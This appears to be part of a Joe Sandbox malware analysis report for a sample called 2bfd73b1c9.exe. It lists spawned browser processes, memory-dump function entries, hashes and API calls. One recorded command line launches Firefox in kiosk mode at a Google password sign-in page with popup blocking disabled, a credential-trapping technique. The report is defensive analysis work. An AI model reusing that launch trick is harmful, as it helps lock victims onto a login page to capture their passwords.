Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	22:09:10
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	22:09:10
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aeeedf46-2f60-4eac-96e9-0a864b8e5887} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 18e2ca70110 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	22:09:13
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4592 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4640 -prefMapHandle 4620 -prefsLen 32179 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4540decc-a3fa-47ce-8ea7-ddae47348ca5} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 18e48568d10 utility
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	22:09:19
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	22:09:20
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=1968,i,13235813427011115255,13293806181875594211,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	22:09:28
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	22:09:28
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2020,i,10916342285601076747,13162167877453187169,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04AB0BC7 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769802258.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a1d3d96d6ac7a17fc6ccfc8b52a8a0ee39d658b79db194e6d696793b1af011c
Instruction ID: 6268f23e9fa78c8945feb4bccc7df32148039227ae10c862183e218200d5f1f3
Opcode Fuzzy Hash: 4a1d3d96d6ac7a17fc6ccfc8b52a8a0ee39d658b79db194e6d696793b1af011c
Instruction Fuzzy Hash: 41116AFB28E115BD714391866B14AFB6A3EF5D3330730842AF887C2603F7A51A9971B1

Function 04AB0BD3 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769802258.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb28951200e537ed240009546a4a3d2b34d37a8b23d92e12df25789ffc0f7172
Instruction ID: b963fe7e3420a7f4376f195578ec5871818054998a3ed15b3215dd1a17307f5e
Opcode Fuzzy Hash: bb28951200e537ed240009546a4a3d2b34d37a8b23d92e12df25789ffc0f7172
Instruction Fuzzy Hash: 132189FB28E115BD714385926B14AFB6B3EF5D7730330842AF887D2603F6995A992072

Function 04AB0BEE Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769802258.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d52006d2fda04af4bf6838ceebe7870c539e3a10b4de3117cfa03f594862fde8
Instruction ID: 99cade1c27f2c920bd803b5a379c8f6988d90c00eb40c838fc105cbbd499d1a1
Opcode Fuzzy Hash: d52006d2fda04af4bf6838ceebe7870c539e3a10b4de3117cfa03f594862fde8
Instruction Fuzzy Hash: 4011ACFB28E101BD705381866F14AFB6B3EE1D37307308426F887C2243F6951A4920B2

Function 04AB0C02 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769802258.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b53db1b37dfb867f119d98ed8d550eeb440afad2080cfb845e1d820833c72cf
Instruction ID: a41c4fcb1702d7fbe9e7c421b9ee6a8207bf361ce51dcc5df781c228c856afa1
Opcode Fuzzy Hash: 4b53db1b37dfb867f119d98ed8d550eeb440afad2080cfb845e1d820833c72cf
Instruction Fuzzy Hash: FA1188FB28E2157CB14381826B04AFB6B3EE4C37707308426F887D6503F7A51A5930B2

Function 04AB0C18 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769802258.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 534953d3ddbb8ebc56e71de22ad13577f2cbd6781e5b7313afaea3f4df84cbf5
Instruction ID: caccec4d5bf102a0e511f8bffe8e1d5688b666d797c84bceca8b5acc42277699
Opcode Fuzzy Hash: 534953d3ddbb8ebc56e71de22ad13577f2cbd6781e5b7313afaea3f4df84cbf5
Instruction Fuzzy Hash: 431148FB28E1157D715391826B14AF7AB3EE5D3730330842AF887D2503F7991A5920B2

Function 04AB0C75 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769802258.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1cd1f53f6bf5207b52a54bc8f2df36a78367c5f27f4762e285bcc928991b739
Instruction ID: 19df73f7da158f78819870597c7d70cfab1795abfbbbffe839a2b282829cdb7a
Opcode Fuzzy Hash: a1cd1f53f6bf5207b52a54bc8f2df36a78367c5f27f4762e285bcc928991b739
Instruction Fuzzy Hash: E1016DE728E1557C715391926B55AFB6B3DE1D37303308427F483C4503F6992A8960B1

Function 04AB0C5C Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1769802258.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 109f415a692a55234c12517a35b66e10b6feef0e0482c883bab8070e53091f83
Instruction ID: 4d5bfea8b6e3c80a6e77431ab177149835b01a9aff1b0d408a8cfb06d647db63
Opcode Fuzzy Hash: 109f415a692a55234c12517a35b66e10b6feef0e0482c883bab8070e53091f83
Instruction Fuzzy Hash: C6F049BB38E215ACB15290927B15AFB6B3DE5D37307308427F483C5543F7992A993072

Analysis Process: 2bfd73b1c9.exePID: 6472, Parent PID: 8168COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	75%
Signature Coverage:	25%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Executed Functions

Function 000EE470 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(000D4127,?,00000014,000000FF,?,?,00000002,?), ref: 000EE49E

Memory Dump Source

Source File: 00000008.00000002.2849329851.00000000000B1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000008.00000002.2849208208.00000000000B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2849329851.00000000000F5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2850442003.0000000000108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2850442003.0000000000293000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2850442003.0000000000372000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2850442003.0000000000398000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2850442003.00000000003A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2850442003.00000000003AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2852987837.00000000003B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2853927616.000000000054D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2854149888.000000000054E000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b0000_2bfd73b1c9.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 05E0E7FF Relevance: 1.3, APIs: 1, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05E0EC6B

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 066d6c13e47d586e0910f559b68198382ad949cf38a86eab86280f43bd543cfc
Instruction ID: d5b3c8d4e2b66e6f452cd293002c1fb670f1aa112143bf988763c9b4c2768a71
Opcode Fuzzy Hash: 066d6c13e47d586e0910f559b68198382ad949cf38a86eab86280f43bd543cfc
Instruction Fuzzy Hash: 85F0E7B440CB09DFD350AF15C8846BEFBF8FF19310F012D2DDAD582280F67108918A12

Function 05E0E9E0 Relevance: 1.3, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05E0EDA1

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a4d09a6531ebfed9447d962357d5274f0ecb06f671e51018af4831c3080c5cff
Instruction ID: 934bb8f8dbaeea0a6eeb2f8f351f0fbea03ead1fdb1e54de8c3385bad01bf78f
Opcode Fuzzy Hash: a4d09a6531ebfed9447d962357d5274f0ecb06f671e51018af4831c3080c5cff
Instruction Fuzzy Hash: E0D0C97000424DCBDB446F7084082EE7B71EF06225F101615ACA2816C0D6324C908E09

Non-executed Functions

Function 05E59CB3 Relevance: 3.0, Strings: 2, Instructions: 514
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

g:ou, xrefs: 05E5A2A0
2}|, xrefs: 05E5A1CF

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: 2}|$g:ou
API String ID: 0-3060527121
Opcode ID: a351bc6df6a93e6ab108d9d3fd18c3ad5af93dbae0bdef5887eb90e92fb20329
Instruction ID: 8a8bef833fc924b70c800043b9925139982ebd9206ec83b1a670cafbdde0638b
Opcode Fuzzy Hash: a351bc6df6a93e6ab108d9d3fd18c3ad5af93dbae0bdef5887eb90e92fb20329
Instruction Fuzzy Hash: 6AF1D2B3E152114BF3548E29DC94366B793EBD4320F2F823D9E88977C5E97E6C058285

Function 05E6FCBC Relevance: 1.8, Strings: 1, Instructions: 586
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

"ow, xrefs: 05E704E5

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: "ow
API String ID: 0-4122080744
Opcode ID: b45c1554f00bb44567abc1526081b49863569a74306d03a334862d811b1fcc9a
Instruction ID: 804f049539142948c2ae7cf42070ab46d4b096ba2c5a7b121dcc73830057fbbd
Opcode Fuzzy Hash: b45c1554f00bb44567abc1526081b49863569a74306d03a334862d811b1fcc9a
Instruction Fuzzy Hash: F112E3B3F112144BF3144D39DDA43A67693DBD5320F2F823D9A899B7C8D97D5D0A4284

Function 05E5E66F Relevance: 1.8, Strings: 1, Instructions: 539
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

o@4=, xrefs: 05E5ED60

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: o@4=
API String ID: 0-3520662127
Opcode ID: dd217d149988b596e1f1a3ae0dbb5b32b71e46f0ccb0998181271a11af1533c7
Instruction ID: 832ec14aa781149bf2a330706a30b91865c729405ac9cedf1ed776f0a957f642
Opcode Fuzzy Hash: dd217d149988b596e1f1a3ae0dbb5b32b71e46f0ccb0998181271a11af1533c7
Instruction Fuzzy Hash: 7902DFF3F116244BF3484929DD993A6B692DBD4320F2F823D9E89A77C4E97E9C0542C4

Function 05E25B63 Relevance: 1.8, Strings: 1, Instructions: 521
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*2O, xrefs: 05E26136

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: *2O
API String ID: 0-989989026
Opcode ID: 3fd96d1fa46aa2420cff8cd7ff26f1d939a4d64f6a10e1c2c9c375c1cbfcdec7
Instruction ID: 1eb5b52198b9cab30d5d8f2dcb64cbd5e2ca9d5ba0e5fbbc2c64f0db9747cb03
Opcode Fuzzy Hash: 3fd96d1fa46aa2420cff8cd7ff26f1d939a4d64f6a10e1c2c9c375c1cbfcdec7
Instruction Fuzzy Hash: 2102FFF3F116244BF3084939DCA93667A86DBD4320F2F823D9A999B7C9EC7E5C054285

Function 05E5467D Relevance: 1.8, Strings: 1, Instructions: 519
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Zes^, xrefs: 05E54A93

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: Zes^
API String ID: 0-1126789079
Opcode ID: 27703904ad471e085dedb8cf62dab94f1ecdf5efe30c18003f0e7a615675873e
Instruction ID: 9aa533e70ab7ae4383dd6fcdb749fd1227ceaacbbd110186bee7480736470ed8
Opcode Fuzzy Hash: 27703904ad471e085dedb8cf62dab94f1ecdf5efe30c18003f0e7a615675873e
Instruction Fuzzy Hash: DF02DFF3F142254BF3505929DD983A6B692DBD4320F2F82399E88AB7C5D93E9C0583C5

Function 05E45EAE Relevance: 1.7, Strings: 1, Instructions: 488
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\ll|, xrefs: 05E46554

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: \ll|
API String ID: 0-1906918654
Opcode ID: 1bd1e8e8c6759da2dae00823812a86d6f8bb10b8f81dc964ec843926c7572f46
Instruction ID: 80e5ddbc8262e6aeffd74f7226839d257d79d153750ca422f9fdd1a29e958014
Opcode Fuzzy Hash: 1bd1e8e8c6759da2dae00823812a86d6f8bb10b8f81dc964ec843926c7572f46
Instruction Fuzzy Hash: 9CF18CF3F116204BF3544939DD983666696DBD4324F2F823D8F88A77C5E87E5D0A4284

Function 05E6BE25 Relevance: 1.7, Strings: 1, Instructions: 445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QZL[, xrefs: 05E6BE72

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: QZL[
API String ID: 0-2477495496
Opcode ID: 8d02c190ae982e0f48eb18d445317c9bfca6dcc6ccd3fa7c73433672f9391f21
Instruction ID: 78a5d1c1c13e3eb7f08b210504d957ee6cd6fe3beb6aea6d50d9d0f1d8a8c495
Opcode Fuzzy Hash: 8d02c190ae982e0f48eb18d445317c9bfca6dcc6ccd3fa7c73433672f9391f21
Instruction Fuzzy Hash: 01E1AFF3F156204BF3444A29CC59366B692EBD4320F2F823DDA999B7C4DD3E9C068285

Function 05E1C3CA Relevance: 1.7, Strings: 1, Instructions: 409
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GXM?, xrefs: 05E1C7E6

Memory Dump Source

Source File: 00000008.00000002.2886213597.0000000005E0A000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E00000, based on PE: true

Associated: 00000008.00000002.2884908502.0000000005E00000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2885984435.0000000005E06000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2886213597.00000000060BE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5e00000_2bfd73b1c9.jbxd

Similarity

API ID:
String ID: GXM?
API String ID: 0-3063536869
Opcode ID: d217c6df9dd74936fcf3486b7d1e952a2d1bc25e57abd85581fab0e991d77cf3
